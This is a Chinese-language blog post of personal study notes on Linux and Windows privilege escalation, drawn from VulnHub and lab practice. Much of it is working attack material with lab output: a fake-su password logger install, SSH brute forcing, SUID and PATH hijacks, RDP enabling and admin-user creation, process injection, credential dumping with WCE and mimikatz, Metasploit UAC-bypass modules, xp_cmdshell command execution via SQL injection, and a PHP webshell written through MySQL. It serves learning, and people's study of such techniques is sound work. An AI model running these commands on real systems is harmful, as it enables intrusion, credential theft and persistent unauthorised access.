近段时间打VulnHub的靶机,遇到了很多提权的方法,于是想记录一下方法作为学习笔记

提权按操作系统分有windows的提权和linux提权

如果按照方式还有利用内核漏洞提权、服务提权、系统软件提权、协议提权

在进行提权之前,都需要对系统信息以及服务器信息或文件进行信息收集

主要参考了

《网络攻防实战研究——漏洞利用与提权》

2016乌云白帽大会议题——shell is only the beginning

安全牛yuanfh老师的kali linux渗透教程

目录:


Linux提权

Linux提权过程的一些技巧

利用python得到一个终端

一般Linux系统中使用su或者sudo命令时都要有终端环境,因为密码的输入必须在终端设备中

但我们通常拿到的shell都不是终端,所以必须要得到一个终端环境才行,如果服务器安装了python的话便可以:

$ python -c "import pty;pty.spawn('/bin/bash')"

这样我们就可以在shell中执行su或sudo命令了

关于文件上传

如果我们拿到的是msf的shell,那么可以在meterpreter中使用upload命令上传文件

如果是ssh连接上去的,可以通过scp命令来上传文件:

$ scp /path/filename username@servername:/path

还可以直接执行wget命令从远程服务器(如果渗透时就是我们自己的服务器或肉鸡)

$ wget http://www.xxx.com/xxx

信息收集

查看系统内核版本&&发行版本

$ uname -a
$ lsb_release -a
$ cat /etc/issue

查看各种目录、文件的权限(读/写/执行)以及所属的用户和组

$ ls -al

查看系统进程、开放端口

$ ps -ef    #查看进程
$ netstat -lntp    #查看开放端口(属于当前用户的端口)

查看系统用户的信息

$ w                      # 查看活动用户
$ id 用户名            # 查看指定用户信息
$ last                   # 查看用户登录日志
$ cut -d: -f1 /etc/passwd   # 查看系统所有用户
$ cut -d: -f1 /etc/group    # 查看系统所有组
$ crontab -l             # 查看当前用户的计划任务

查看用户权限是否配置不当

这个可以使用脚本来判断:

https://github.com/pentestmonkey/unix-privesc-check

查看用户执行的记录

$ cat ./.bash_history    # 查看命令执行记录

提权

根据收集系统内核版本查找提权漏洞

主要有以下两个网站

https://www.exploit-db.com/

https://github.com/SecWiki/linux-kernel-exploits

还可以工具Linux_Exploit_Suggester,输入内核来查看可利用的漏洞

$ perl ./Linux_Exploit_Suggester.pl -k 3.0.0

还可以利用MSF中的searchsploit命令来查找可利用的漏洞

msf5 > searchsploit ubuntu 16.04

如果目标机器有cc/gcc的话,可以将脚本上传到目标机器,再用gcc编译,修改编译后文件为777权限,运行得到root权限;如果没有的话可以本地编译后再上传。

上传fakesu.c记录root用户密码

fakesu.c的原理其实就是伪造一个su命令来替换原来的su,当用户使用su命令时密码就会被记录到本地文件中或者发送到攻击者的邮箱内,源码我放在我的GitHub上了

上传到服务器后需要执行以下命令(可以提前备份一下.bash_profile):

$ chmod 777 fakesu.c
$ gcc fakesu.c -o .su
$ rm -rf fakesu.c
$ mv .su /var/tmp/.su
$ cd ~
$ echo "alias su=/var/tmp/.su" >> .bash_profile

使用hydra爆破ssh

如果目标服务器开启了22(ssh)端口,并且允许root登录ssh(这种情况也不是很多),那么我们可以尝试使用hydra爆破22端口

$ hydra -l root -p passwd.dic -t 线程数 -vV -e ns 1.1.1.1 ssh

密码字典可以使用这里的:

https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials/

修改/etc/passwd中的密码hash

这种情况遇到的几率很小很小,一般/etc/passwd其他的用户是没有写权限,/etc/shadow甚至普通用户都读不到,应该没有管理员会傻到这样配置

如果/etc/passwd可写的话,可以先把它复制到本地,可以用openssl生成一个加盐hash,然后替换root密码处的x,然后再上传到/etc/覆盖掉之前的passwd

这种情况在VulnHubbillu_b0x2靶机处碰到过一次,可以看我另一篇文章的详细步骤

http://loong716.top/2019/04/17/billu_b0x2.html

SUID提权

在介绍suid提权之前,我们首先要了解什么是suid文件

当s这个标志出现在文件所有者的x权限上时,例如文件权限状态“-rwsr-xr-x”,此时就称为 Set UID,简称为SUID的特殊权限。SUID有这样的限制和功能:

(1)SUID权限仅对二进制程序有效;

(2)执行者对于该程序需要具有x的可执行权限;

(3)本权限仅在执行该程序的过程中有效;

(4)执行者将具有该程序所有者的权限。

————————————————————————— 作者:小咸鱼_

来源:CSDN

原文:https://blog.csdn.net/sinat_30071459/article/details/51206581

如下面这个arping文件,他的root的x权限位置上为s,那么它就是属于root的suid文件

-rwsr-xr-x  1 root root         22528 3月  10  2017 arping

那么要查找系统中的suid文件,可以使用以下三条命令:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

nmap

最经典的就是拥有suid权限的nmap,2.02-5.21版本的nmap中有交互模式(–interactive),我们可以通过这个打开/bin/sh,从而得到root权限

我在metasploitable2中测试了一下:

msfadmin@innctasploitable:~$ nmap --version
Nmap version 4.53 ( http://insecure.org )

msfadmin@innctasploitable:~$ nmap -- interactive 
Starting Nmap V. 4.53 ( http://insecure.org )

Welcone to Interactive Mode -- press h <enter> for help 

nmap> !sh

sh-3.Z# whoami
root

vim/more/less/find

这些命令以前看网上的大佬讲过一些利用的方法:

<!-- vim -->
$ vim
(press :)
:set shell=/bin/sh
:shell

<!-- more/less -->
more xxx
!/bin/bash (或者 !/bin/sh)

<!-- find -->
touch xxx
find xxx -exec whoami /;
(应该可以用这个跟nc结合来反弹一个root的shell)

但我在我的Ubuntu 18.04上测试这些都不能get到root的权限,只是vim/more/less这些命令可以查看/etc/shadow这种限制权限的文件

在metasploitable2上只有vim的命令(网上有好多直接在vim的命令里输入shell、/bin/bash的,这些我测试不管在Ubuntu还是在metasploitable2上都没有成功,只有上面那一种可以,可能是我tcl。。。)可以得到root权限,其他几个尝试没有成功

改变环境变量的SUID提权

大致方法是:

$ cd /tmp      # 找一个可写的目录
$ echo "/bin/bash" > command
$ export PATH=/tmp:$PATH
然后到命令对应目录去执行命令即可

这种方式在VulnHub的靶机中有很多应用,billu_b0x2中也用到这一点,另一篇文章有我对这种提权的理解

谈一下自己对这种方法的理解: Linux系统中的环境变量PATH是当用户输入命令时,系统会到PATH中寻找路径,比如要执行ls命令,那么系统就会在PATH中找到含有ls的路径并执行

由于一些命令拥有suid,即以root身份来执行,例如scp,可以找一个可读写的目录(如/tmp),将’/bin/bash’(打开shell)写入到一个scp中,修改为777权限,然后再在PATH中添加当前这个可读写的目录(/tmp)。 之后当执行scp时,系统会在/tmp中找到scp命令并执行它,而此时这个scp命令实际上是打开一个shell,由于是以root身份执行,所以这个shell便是root的权限。

————————————————————————————

著作权归作者所有。

商业转载请联系作者获得授权,非商业转载请注明出处。

原文: http://loong716.top/2019/04/17/billu_b0x2.html


Windows提权

windows提权过程中的技巧与命令

命令行开启3389端口

我在虚拟机尝试了一下,以下命令需要有administrator以上的权限

win 2003/win xp:

wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

win xp还可以用这个

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

win 2008/win 2012/win 7(win 7和win 2012 只需要前两条):

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName = ''RDP-Tcp) call setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

提权常用命令

> whoami    #查看当前用户权限
> net user    # 查看系统用户
> net user username    # 查看该用户信息
> net user username password /add    # 添加用户名为username密码为password的用户
> net localgroup administrators username /add    # 将用户名为username的用户添加到管理员组
> net localgroup "Remote Desktop Users" username /add    # 将用户名为username的用户添加到远程桌面用户组

端口转发

当我们的目标服务器处在内网时,当我们想要连接远程桌面时,从外网是无法直接访问的

那么我们就要把目标服务器的3389端口转发到一台外网服务器上,通过连接外网服务器来得到远程桌面

lcx

lcx是一个简单的端口转发工具,有windows和linux两种版本

可以将lcx上传到目标服务器,执行端口转发,这里用win10(192.168.110.1)和xp(192.168.177.131)来演示

<!-- 在目标服务器上将3389转发给192.168.110.1的51端口 -->
C:\>lcx.exe -slave 192.168.110.1 51 192.168.177.131 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url]
==========

[+] Make a Connection to 192.168.110.1:51....
[-] There is a error...Create a new connection.
[+] Make a Connection to 192.168.110.1:51....

<!-- 在192.168.110.1上侦听51端口,再在本机远程连接到127.0.0.1,获得目标服务器的远程桌面 -->
F:\小型工具\lcx>lcx.exe -listen 51 3389
======================== HUC Packet Transmit Tool V1.00 =======================
=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] ==========

[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......
[+] Accept a Client on port 51 from 192.168.110.1 ......
[+] Waiting another Client on port:3389....
[+] Accept a Client on port 3389 from 127.0.0.1
[+] Accept Connect OK!
[+] Start Transmit (192.168.110.1:30089 <-> 127.0.0.1:30091) ......

meterpreter portfwd

meterpreter中的portfwd命令也可以用来进行端口转发

<!-- 将目标服务器的3389端口转发到本机的7777端口 -->
meterpreter > portfwd add -l 7777 -p 3389 -r 127.0.0.1
[*] Local TCP relay created: :7777 <-> 127.0.0.1:3389

<!-- 使用rdesktop命令连接本机7777端口, 成功拿到远程桌面-->
rdesktop 127.0.0.1:7777
WARNING: Remote desktop does not support colour depth 24; falling back to 16

powershell

PowerShell是一种基于任务的命令行解释器和脚本环境,专为系统管理员而设计,以.NET框架为平台。Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。

powershell在win7之后是系统默认集成的,受系统的信任,而且有很高的权限,因此我们可以利用其来进行渗透

对powershell我还不太了解,争取学过之后写一篇笔记出来

这里有一个GitHub的项目,有powershell的各种利用脚本:

https://github.com/PowerShellMafia/PowerSploit

信息收集

查看系统信息

> systeminfo    # 便于后面根据系统版本和补丁情况寻找漏洞利用

查看系统中的进程

> tasklist (/svc)   # 列出当前系统中的进程
> taskkill (/im /f) xxx    # 停止xxx进程

查看系统服务

> net start    # 查看系统开启的服务
> net start xxx    # 开启xxx服务
> net stop xxx    # 停止xxx服务

查看端口开启情况

> netstat -ano    # 查看系统开启的所有端口

提权

利用系统信息利用存在的漏洞

可以使用windows-exploit-suggester

<!-- 在目标服务器shell中 -->
> systeminfo > systeminfo.txt

<!-- 在攻击机(这里是kali)中 -->
$ ./windows-exploit-suggester.py --database 2016-06-16-mssb.xlsx --systeminfo systeminfo.txt 

然后可以到MSF中找对应版本号的模块来进行利用:

<!-- 如耳熟能详的MS08-067 -->
msf5 > search ms08_067

Matching Modules
================

   Name                        Disclosure Date  Rank   Check  Description
   ----                        ---------------  ----   -----  -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28   great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

meterpreter getsystem

如果已有administrator权限想要提升到system的话就可以使用meterpreter中的system命令

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.177.154:4444 
[*] Sending stage (179779 bytes) to 192.168.177.131
[*] Meterpreter session 1 opened (192.168.177.154:4444 -> 192.168.177.131:1037) at 2019-06-18 15:00:48 +0800

meterpreter > getuid
Server username: PC-0218AA6FE2BF\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

at提权(win server 2003/winxp可用)

这个是从administrator提到system的,而且要有远程桌面的环境(并且是administrator权限的),后面两个同样需要桌面环境,因为system的cmd是新弹出的,命令行没有办法切换

这个我在我的xp虚拟机测试了,at命令原本就是定时执行一个任务,我们用它来执行cmd时就会弹出system权限的cmd

C:\Documents and Settings\Administrator>at 14:37 /interactive cmd
新加了一项作业,其作业 ID = 3

<!-- 到14:37时弹出一个cmd窗口 -->
C:\WINDOWS\system32>whoami
nt authority\system
C:\WINDOWS\system32>taskmgr
<!-- 打开任务管理器,结束掉explorer.exe,再创建一个新的explorer,即可得到system的桌面 -->

sc命令提权(win server 2008/win 7可用)

这个也是从administrator提到system的

在xp中实验:

C:\Documents and Settings\Administrator>sc Create syscmd binPath= "cmd /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\Documents and Settings\Administrator>sc start syscmd
[SC] StartService FAILED 1053:

<!-- 弹出cmd -->
C:\WINDOWS\system32>whoami
nt authority\system

SysInternal Suite提权

SysInternal Suite是微软官方的一个工具包,我们可以使用其中的PsExec.exe从administrator

C:\WINDOWS\system32>PsExec.exe -i -s -d cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


cmd started on PC-0218AA6FE2BF with process ID 796.

<!-- 弹出cmd -->
C:\WINDOWS\system32>whoami
nt authority\system

进程注入提权

这种方法就是注入到属于system的进程中,同时也拥有了system的权限

将工具pinjector.exe上传到目标服务器C盘根目录下

<!-- winxp 中 -->
C:\>pinjector.exe -l
Privilege Switcher for Win32(Private version)
(c) 2006 Andres Tarasco - atarasco@gmail.com

PID    368 smss.exe (  3 Threads)  USER: \\NT AUTHORITY\SYSTEM
PID    596 csrss.exe ( 10 Threads)  USER: \\NT AUTHORITY\SYSTEM
PID    620 winlogon.exe ( 24 Threads)  USER: \\NT AUTHORITY\SYSTEM
PID    664 services.exe ( 16 Threads)  USER: \\NT AUTHORITY\SYSTEM
...

C:\>pinjector.exe -p 664 cmd 7777
Privilege Switcher for Win32(Private version)
(c) 2006 Andres Tarasco - atarasco@gmail.com

[+] Trying to execute cmd to 664 as: ? \
[+] Code inyected... ; )

<!-- kali中用nc连接 -->
root@loong716:~# nc -nv 192.168.177.131 7777
(UNKNOWN) [192.168.177.131] 7777 (?) open
Microsoft Windows XP [�汾 5.1.2600]
(C) ��Ȩ���� 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

PS:这里最好注入到system的services.exe进程中,因为我尝试了注入其他两个进程,但用nc连接时都得不到shell,只有注入services.exe时成功了

WCE获得administrator密码

WCE即WINDOWS CREDENTIAL EDITOR,使用后可以得到administrator的密码hash或明文,但需要administrator权限,当我们拿到shell而想知道密码时可以采用这种方法

<!-- 显示详细信息 -->
C:\>wce-universal.exe -lv
WCE v1.41beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by
Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Current Logon Session LUID: 000256ACh
Reading from memory (safe mode)
Error: unknown target!.
Reading by injecting code! (less-safe mode)
Logon Sessions Found: 6
PC-0218AA6FE2BF\Administrator:NTLM
        LUID:000256ACh
NT AUTHORITY\ANONYMOUS LOGON:NTLM
        LUID:00010A2Eh
NT AUTHORITY\LOCAL SERVICE:Negotiate
        LUID:000003E5h
NT AUTHORITY\NETWORK SERVICE:Negotiate
        LUID:000003E4h
\:NTLM
        LUID:0000C298h
WORKGROUP\PC-0218AA6FE2BF$:NTLM
        LUID:000003E7h

000256AC:Administrator:PC-0218AA6FE2BF:AF678E2A72D84C7C1E928FFC01395127:F0E3F5B7
BCC8409522B2437452E54A6E
000003E4:PC-0218AA6FE2BF$:WORKGROUP:AAD2B435B51404EEAAD3B435B51504EE:31D6CFE0D16
AE931B71C59D7E3C089C0

<!-- 得到明文(此处密码我就省略了) -->
C:\>wce-universal.exe -w
WCE v1.41beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by
Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.


Administrator\PC-0218AA6FE2BF:xxxxxxxxx
NETWORK SERVICE\WORKGROUP:

mimikatz得到密码

这个工具很厉害,据说是一个法国大牛写的,因此用法也与平常的工具不同

这个工具在kali中在/usr/share/mimikatz目录下,在metasploit中也有集成

我们可以把mimikatz上传到目标服务器然后使用,亦可以在meterpreter中直接load mimikatz

<!-- 导入mimikatz模块, 最好先getsystem-->
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

<!-- 得到hash -->
meterpreter > msv
[!] Not currently running as SYSTEM
[*] Attempting to getprivs ...
[+] Got SeDebugPrivilege.
[*] Retrieving msv credentials
msv credentials
===============

AuthID    Package    Domain           User              Password
------    -------    ------           ----              --------
0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;153260  NTLM       PC-0218AA6FE2BF  Administrator     lm{ af678e2a72d83c7c1e929ffc01395127 }, ntlm{ f0e3f5b7bcc8409526b2437b52e54a6e }
0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;49816   NTLM                                          n.s. (Credentials KO)
0;999     NTLM       WORKGROUP        PC-0218AA6FE2BF$  n.s. (Credentials KO)
meterpreter > ssp
[+] Running as SYSTEM
[*] Retrieving ssp credentials
ssp credentials
===============

AuthID  Package  Domain  User  Password
------  -------  ------  ----  --------

<!-- 得到明文 -->
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID    Package    Domain           User              Password
------    -------    ------           ----              --------
0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;49816   NTLM                                          
0;999     NTLM       WORKGROUP        PC-0218AA6FE2BF$  
0;153260  NTLM       PC-0218AA6FE2BF  Administrator     xxxxxxxxxx

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID    Package    Domain           User              Password
------    -------    ------           ----              --------
0;997     Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;996     Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;49816   NTLM                                          
0;999     NTLM       WORKGROUP        PC-0218AA6FE2BF$  
0;153260  NTLM       PC-0218AA6FE2BF  Administrator     xxxxxxxxxx

如果是将mimikatz上传到服务器的话,就要使用mimikatz原本的命令

使用方法可以看这里:

https://www.cnblogs.com/pursuitofacm/p/6704219.html

metasploit phishing

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。

这种有点类似与钓鱼,使用的是metasploit中的exploit/windows/local/ask

这个模块是利用uac来诱导用户点击确认,然后使我们获得更高的权限,我们用win7来测试一下

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.177.154:4444 
[*] Sending stage (179779 bytes) to 192.168.177.155
[*] Meterpreter session 1 opened (192.168.177.154:4444 -> 192.168.177.155:49159) at 2019-06-19 12:52:26 +0800

<!-- 一开始getsystem失败了,应该是UAC拦截了 -->
meterpreter > getuid
Server username: WIN-SN2RASA8T2T\pc
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...

msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > set session 1
session => 1
msf5 exploit(windows/local/ask) > exploit

<!-- 此时会触发win7的UAC,如果用户点击‘是’,那么meterpreter这边会打开一个新的session -->

[*] Started reverse TCP handler on 192.168.177.154:4444 
[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[*] Uploading WbtujJI.exe - 73802 bytes to the filesystem...
[*] Executing Command!
[*] Sending stage (179779 bytes) to 192.168.177.155
[*] Meterpreter session 2 opened (192.168.177.154:4444 -> 192.168.177.155:49160) at 2019-06-19 12:53:33 +0800

<!-- 此时getsystem就会成功 -->
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

当然metasploit绕过UAC还有其他模块:

exploit/windows/local/bypassuac

exploit/windows/local/bypassuac_comhijack

exploit/windows/local/bypassuac_eventvwr

exploit/windows/local/bypassuac_fodhelper

exploit/windows/local/bypassuac_injection

exploit/windows/local/bypassuac_injection_winsxs

exploit/windows/local/bypassuac_sluihijack

exploit/windows/local/bypassuac_vbs

NTLM中继提权

服务提权

SQL Server提权

SQL Server即MSSQL,是微软开发的数据库软件,一般在windows环境下与IIS搭配,现在新版本也开始支持Linux

关于SQL Server,我们需要知道的知识主要是以下几点:

  1. SQL Server默认的用户为sa
  2. SQL Server默认端口为1433
  3. SQL在系统中有很高的权限,很多情况下是system
  4. SQL Server有很多危险的存储进程,如xp_cmdshell(2000中默认开启,05可以重新添加,08及以后将其删除了)等

提权常用命令

<!-- 查看数据库版本 -->
select @@version;

<!-- 恢复存储进程xp_cmdshell -->
EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', @dllname ='xplog70.dll';
1.未能找到存储过程'master..xpcmdshell'.
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2.无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块)
sp_dropextendedproc "xp_cmdshell"
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'

<!-- 开启/关闭xp_cmdshell -->
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 0;RECONFIGURE;

<!-- 利用xp_cmdshell执行命令 -->
exec master..xp_cmdshell 'whoami';

Hscan扫描sa弱口令

使用工具Hscan,配置扫描目标对应IP的MSSQL弱口令

如果得到密码,可以直接右键选择‘连接’来远程连接到命令行

详细使用方法看这里:

https://www.cnblogs.com/pursuitofacm/p/6737997.html

想要得到sa密码还可以使用爆破1433端口的方法

SQLTools

如果得到了sa的口令,那么我们可以直接利用sqltools来连接SQL Server,在sqltools中可以直接利用xp_cmdshell等存储进程 Alt text

SQL注入

由于不会写asp,到网上piao了一段存在sql注入的代码,搭了一个小环境IIS6.0+SQL Server 2000,asp源码:

 <% 
Dim Db,MyDbPath
dim conn
Const IsSqlDataBase = 1
MyDbPath = ""
If IsSqlDataBase = 1 Then
Const SqlDatabaseName = "school"
Const SqlPassword = "sa"
Const SqlUsername = "sa"
Const SqlLocalName = "localhost"

Else

Db = "z.mdb"

End If
 
Dim ConnStr
If IsSqlDataBase = 1 Then
ConnStr = "Provider = Sqloledb; User ID = " & SqlUsername & "; Password = " & SqlPassword & "; Initial Catalog = " & SqlDatabaseName & "; Data Source = " & SqlLocalName & ";"
Else
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(MyDbPath & db)
End If
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr
%>

<%
lg_id=Request("id")
If Request("id") = "" Then
lg_id=1
Set rs=conn.Execute("Select * From test Where h_id ="& lg_id ) 
else
//提交变量
Set rs=conn.Execute("Select * From test Where h_id=" & lg_id )
End If
%>
<meta charset='utf-8' >
<div align="center">
<p> </p>
<p>SQL Injection</p>
<p>提交参数为a.asp?id=1</p>
<p>id默认为1</p>
</div>
<div align="center">
<table width="754" height="259" border="1">
<tr>
<td width="744" bgcolor="#CCCCCC"><%=rs("h_content")%></td>
</tr>
</table>
</div>

尝试以下注入利用xp_cmdshell来执行命令 Alt text 执行:

1;exec master..xp_cmdshell 'net user test 123456 /add'
1;exec master..xp_cmdshell 'net localgroup administrators test /add'

这里是没有回显的,到win2003的服务器上看一下用户信息

<!-- 执行之前 -->
C:\Documents and Settings\Administrator>net user

\\PC-2E9F4986A052 的用户帐户

---------------------------------------------------------------
Administrator            ASPNET                   Guest
IUSR_PC-2E9F4986A052     IWAM_PC-2E9F4986A052     SQLDebugger
SUPPORT_388945a0
命令成功完成。

<!-- 执行之后 -->
C:\Documents and Settings\Administrator>net user

\\PC-2E9F4986A052 的用户帐户

---------------------------------------------------------------
Administrator            ASPNET                   Guest
IUSR_PC-2E9F4986A052     IWAM_PC-2E9F4986A052     SQLDebugger
SUPPORT_388945a0         test
命令成功完成。


C:\Documents and Settings\Administrator>net user test
用户名                 test
...
本地组成员             *Administrators       *Users
全局组成员             *None
命令成功完成。

看来命令是成功执行了的

提权思路

  1. 可以使用htscan等工具扫描sa的弱口令,或者爆破1433端口来得到sa的密码;或者查看网站是否存在源码泄露,在conn.asp、config.asp等文件中会有数据库账户的用户名和密码
  2. 拿到sa的密码的话,我们可以用htscan或sqltools等工具远程连接数据库,查看数据库版本,在2000版本中可直接利用存储进程xp_cmdshell执行命令;2005版本中可以通过命令开启xp_cmdshell然后再执行命令;2008版本中删除掉了危险的存储进程,可以浏览其他文件看是否有其他方式
  3. 如果有过滤不严的注入点的话,可以直接在注入点利用SQL Server堆叠查询的特性,利用xp_cmdshell来执行命令(当然也要根据数据库版本)

PS:SQL Server其实还有一个很出名的漏洞,叫做SQL Hello(MS08-040),存在于SQL Server 2000 SP3以下版本中,但我在实际搭建环境时发现如果未安装SP3的补丁的话,SQL Server无法开启1433端口,打上补丁后就可以正确运行,这个漏洞现在应该是无法利用了,如果真的遇到2000 SP2版本的也可以去尝试利用

MYSQL提权

MySQL应该就不用多介绍了,大家都非常熟悉,MySQL主要有以下特点:

  1. MySQL默认端口为3306
  2. MySQL自带图形界面的数据库管理phpmyadmin
  3. MySQL默认用户为root,密码为root
  4. phpinfo()会泄露网站的绝对路径
  5. phpmyadmin配置文件为config.ini.php或config.sample.inc.php

提权常用命令

<!-- 远程连接MySQL -->
mysql -h 192.168.177.131 -u root -p

<!-- 内置函数查信息 -->
select system_user();    # 查询系统用户
select current_user();    # 查询当前用户
select user();    # 查询用户
select version();    # 查询数据库版本
select database();    # 查询当前数据库名
select @@version_compile_os;    # 查询当前操作系统
select @@basedir;    # 查询MySQL安装目录
show variables like '%plugins%';    # 查看插件目录

<!-- load_file读取文件 -->
select load_file('/etc/passwd');
有时候读取出来可能是Hex编码形式

<!-- 写一句话文件 -->
select '<?php @eval($_POST[cmd]);?>' into outfile 'd:/www/a.php';


SQL注入获取密码

如果存在注入点,可直接使用此sql语句获得root用户的加密密码:

select user,password from mysql.user;

Alt text MySQL中root用户的密码加密算法如下:

select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));  

Hscan扫描密码

与扫描MSSQL方法相同,Hscan也可以用来扫描3306上MySQL的弱密码

UDF提权

A user-defined function (UDF) is a way to extend MySQL with a new function that works like a native (built-in) MySQL function such as ABS() or CONCAT().

提权所需条件:

  1. 系统为win2000、winXP、win2003
  2. 拥有MySQL某用户账户,能对数据进行insert和delete
  3. MySQL > 5.1,udf.dll必须在安装目录的lib\plugin下;MySQL < 5.1,在win2000中放置在c:\winnt\system32下,在win2003中放置在c:\windows\system32下
  4. 拥有可以将udf.dll写入相应目录的权限

参考两篇文章吧,这个我在本地测试总是踩坑,有空再来写吧

https://blog.csdn.net/wulex/article/details/54868131

https://www.jianshu.com/p/536d7fccb852

MOF提权

利用条件:

  1. 拥有root权限
  2. --secure-file-priv不为NULL

这个我本地测试时没成功。。还是参考一个大佬的文章吧

https://www.jianshu.com/p/6dbac868e2ab


*不定时更新